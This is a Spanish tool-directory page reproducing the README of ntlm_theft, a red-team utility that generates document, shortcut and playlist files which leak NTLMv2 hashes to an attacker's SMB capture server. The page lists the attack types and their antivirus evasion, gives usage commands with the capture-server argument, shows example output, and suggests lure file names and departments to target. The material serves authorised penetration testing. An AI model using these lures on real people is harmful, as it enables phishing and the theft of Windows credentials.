Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ntlm_theft — Una herramienta para generar múltiples tipos de archivos de robo de hash NTLMv2 por Jacob Wilkin (Greenwolf) | Kitploit
Herramientas/GitHubGitHub/greenwolf/ntlm_theft
Herramientas de PhishingAtaques de ContraseñasRecopilación de InformaciónPruebas de PenetraciónRed Teaming
GitHubgreenwolf/ntlm_theft

ntlm_theft

Una herramienta para generar múltiples tipos de archivos de robo de hash NTLMv2 por Jacob Wilkin (Greenwolf)

Ver Repositorio
1.5k174hace 11 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ntlm_theft

Una herramienta para generar múltiples tipos de archivos de robo de hash NTLMv2.

ntlm_theft es una herramienta Python3 de código abierto que genera 21 tipos diferentes de documentos de robo de hash. Se pueden utilizar para phishing cuando el objetivo permite el tráfico SMB fuera de su red, o si ya estás dentro de la red interna.

Los beneficios de estos tipos de archivos sobre documentos basados en macros o documentos de explotación son que todos están construidos usando "funcionalidad prevista". Ninguno fue detectado por Windows Defender Antivirus en junio de 2020, y 17 de los 21 ataques funcionaron en un host Windows 10 completamente parcheado.

ntlm_theft admite los siguientes tipos de ataque:

  • Navegar a la carpeta que contiene
    • .url – mediante el campo URL
    • .url – mediante el campo ICONFILE
    • .lnk - mediante el campo icon_location
    • .scf – mediante el campo ICONFILE (No funciona en Windows más reciente)
    • autorun.inf mediante el campo OPEN (No funciona en Windows más reciente)
    • desktop.ini - mediante el campo IconResource (No funciona en Windows más reciente)
  • Abrir documento
    • .xml – mediante hoja de estilo externa de Microsoft Word
    • .xml – mediante el campo includepicture de Microsoft Word
    • .htm – mediante Chrome, IE y Edge img src (solo si se abre localmente, no alojado)
    • .docx – mediante el campo includepicture de Microsoft Word
    • .docx – mediante plantilla externa de Microsoft Word
    • .docx – mediante frameset webSettings de Microsoft Word
    • .xlsx - mediante celda externa de Microsoft Excel
    • .wax - mediante lista de reproducción de Windows Media Player (Mejor, apertura principal)
    • .asx – mediante lista de reproducción de Windows Media Player (Mejor, apertura principal)
    • .m3u – mediante lista de reproducción de Windows Media Player (Peor, Win10 abre primero en Groovy)
    • .jnlp – mediante jar externo de Java
    • .application – mediante cualquier navegador (Debe servirse a través de un navegador descargado o no se ejecutará)
  • Abrir documento y aceptar ventana emergente
    • .pdf – mediante Adobe Acrobat Reader
  • Hacer clic en enlace en programa de chat
    • .txt – enlace formateado para pegar en el chat de Zoom

Casos de uso (Por qué querrías ejecutar esto)

ntlm_theft está dirigido principalmente a probadores de penetración y equipos rojos, que lo utilizarán para realizar phishing interno en empleados de la empresa objetivo, o para probar en masa antivirus y puertas de enlace de correo electrónico. También se puede usar para phishing externo si se permite el acceso SMB saliente en el cortafuegos perimetral.

Lo he encontrado útil durante las pruebas de penetración para ver fácilmente qué tipos de archivos tengo disponibles, en lugar de dedicar tiempo a configurar un ataque específico como se usaría en compromisos de equipos rojos. Podrías enviar un archivo .rtf o .docx al departamento de recursos humanos, y un documento de hoja de cálculo .xlsx al departamento de finanzas.

Comenzando

Estas instrucciones te mostrarán los requisitos para y cómo usar ntlm_theft.

Requisitos previos

ntlm_theft requiere Python3 y xlsxwriter:

root@kitploit:~
pip3 install xlsxwriter

Parámetros requeridos

Para iniciar la herramienta se deben proporcionar 4 parámetros: un formato de entrada, el archivo o carpeta de entrada y el modo de ejecución básico:

root@kitploit:~
-g, --generate	: Elige generar todos los archivos o un tipo de archivo específico
-s, --server 	: La dirección IP de tu servidor de captura de hash SMB (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)
-f, --filename	: El nombre base del archivo sin extensión, se puede renombrar más tarde (ej: test, Board-Meeting2020, Bonus_Payment_Q4)

Ejemplos de ejecución

Aquí hay un ejemplo de cómo se ve una ejecución generando todos los archivos:

root@kitploit:~
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

Ejemplo de ejecución

Aquí hay un ejemplo de cómo se ve una ejecución generando solo archivos modernos:

root@kitploit:~
# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.

Aquí hay un ejemplo de cómo se ve una ejecución generando solo un archivo xlsx:

root@kitploit:~
# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.

Autores

  • Jacob Wilkin - Investigación y Desarrollo

Licencia

ntlm_theft Created by Jacob Wilkin Copyright (C) 2020 Jacob Wilkin

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

Agradecimientos

  • Ired
  • Securify
  • Pentestlab
  • deepzec
  • rocketscientist911
  • Osanda
  • Violation Industry
  • @kazkansouh - Añadiendo soporte para .lnk
Descargar herramienta